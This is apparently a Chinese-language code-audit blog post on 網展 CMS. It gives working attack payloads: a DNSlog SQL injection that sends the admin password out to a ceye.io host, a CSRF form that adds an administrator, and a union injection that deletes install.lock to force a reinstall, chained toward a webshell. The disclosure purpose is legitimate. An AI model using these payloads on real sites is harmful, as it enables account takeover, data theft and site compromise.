天天看點

網展cms代碼審計(首發圈子)

環境:

window10

apache

mysql

php5.4

漏洞利用:

背景SQL注入:

~/webuser/lib/action/DownloadAction.class.php

public function delall(){
		if ($this->isPost()) {
			if ($_POST['dell']=="") {
				$this->error('您未選擇任何資料');
			}
			// var_dump($_POST['dell']);
			// exit;
			foreach ($_POST['dell'] as $value) { //存在注入
				$filename=M('Download')->where('id='.$value)->getField('filename');
				if ($filename) {
					delimg('../Uploads/download/'.$filename);
				}
			}
			$ids=implode(",", $_POST['dell']);
			$where['id']=array('in',$ids);
			if (M('Download')->where($where)->delete()) {
				$this->success('删除成功');
			} else {
				$this->error('删除失敗');
			}	
		}
	}
           

因為這裡雖然$_POST[‘dell’]接收了參數但是由于後面的delete操作會直接進行跳轉是以這裡普通的注入無法實作可以通過盲注或者是dnslog注入,dnslog注入會非常的友善

利用:

直接抓個删除的包 然後post資料 進行dnslog注入 dnslog的平台就會讀取日志,擷取資訊

dell%5B%5D=1 and if((select load_file(concat('\\\\',(select password from phpcms_user limit 1),'.0wtpsg.ceye.io\\92'))),1,1)&sort%5B4%5D=123123
           
網展cms代碼審計(首發圈子)

相應的如果是root權限的話那麼也可以直接寫入檔案了 進而getshell

背景CSRF添加管理者:

~/webuser/lib/action/UserAction.class.php

public function addUser(){
	if ($this->isPost()) {
		$db=D('User');
		if($data=$db->create()){
			if($db->data($data)->add()){
				$this->success('使用者建立成功',U('User/index'));
			}else{
				$this->error('使用者添加失敗');
			}
		}else{
			$this->error($db->getError());
		}			
	}else{
		$this->error('非法操作!');
	}	
}
           

漏洞poc

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/webuser/index.php/user/addUser.html" method="POST">
      <input type="hidden" name="username" value="pythoniam" />
      <input type="hidden" name="password" value="pythoniam" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

           

這裡沒有經過任何的驗證 直接$this->isPost 接收post的請求 然後直接使用add方法執行添加語句 添加一個管理者

以上的兩個漏洞 那麼我們可以執行以下的攻擊

1.首先發送一個跨站請求僞造請求 使得背景添加一個管理者

2.然後使用上面的sql注入漏洞 寫入檔案 進而拿到webshell

背景任意删除檔案導緻重裝

~/webuser/lib/action/UserAction.class.php

public function delall(){
		if ($this->isPost()) {
			if ($_POST['dell']=="") {
				$this->error('您未選擇任何資料');
			}
			// var_dump($_POST['dell']);
			// exit;
			foreach ($_POST['dell'] as $value) { //存在注入
				$filename=M('Download')->where('id='.$value)->getField('filename');
				if ($filename) {
					delimg('../Uploads/download/'.$filename);//  ../../test.php
					echo 1;
					exit;
				}


			}
			$ids=implode(",", $_POST['dell']);
			$where['id']=array('in',$ids);
			if (M('Download')->where($where)->delete()) {
				$this->success('删除成功');
			} else {
				$this->error('删除失敗');
			}	
		}
	}
           
function delimg($filename){  // delimg('../Uploads/download/'.$name)
  if(is_file($filename)){
	  if(unlink($filename)){
		  return true;
	  }else{
		  return false;
	  }
  }else{
	  return false;
  }
}
           

發現這個函數是直接進行删除操作的 那麼意味着filename隻要能控制住 那麼就可以進行任意删除的操作

$filename=M('Download')->where('id='.$value)->getField('filename');
           

這裡的$value值 為$_POST[‘dell’] 所傳過來的參數值 而且這裡的where方法是進行拼接的 那麼可以進行控制

原生語句:

select filename from table where id = $value

想要控制filename的值 我們可以這樣

select filename from table where id = -1 ) union select '../../Home/install.lock' from phpcms_user#
           

總結: csrf->sql注入(看權限) 或者 重裝

這麼簡單的"代碼審計" 大家看到就不要噴了 記錄下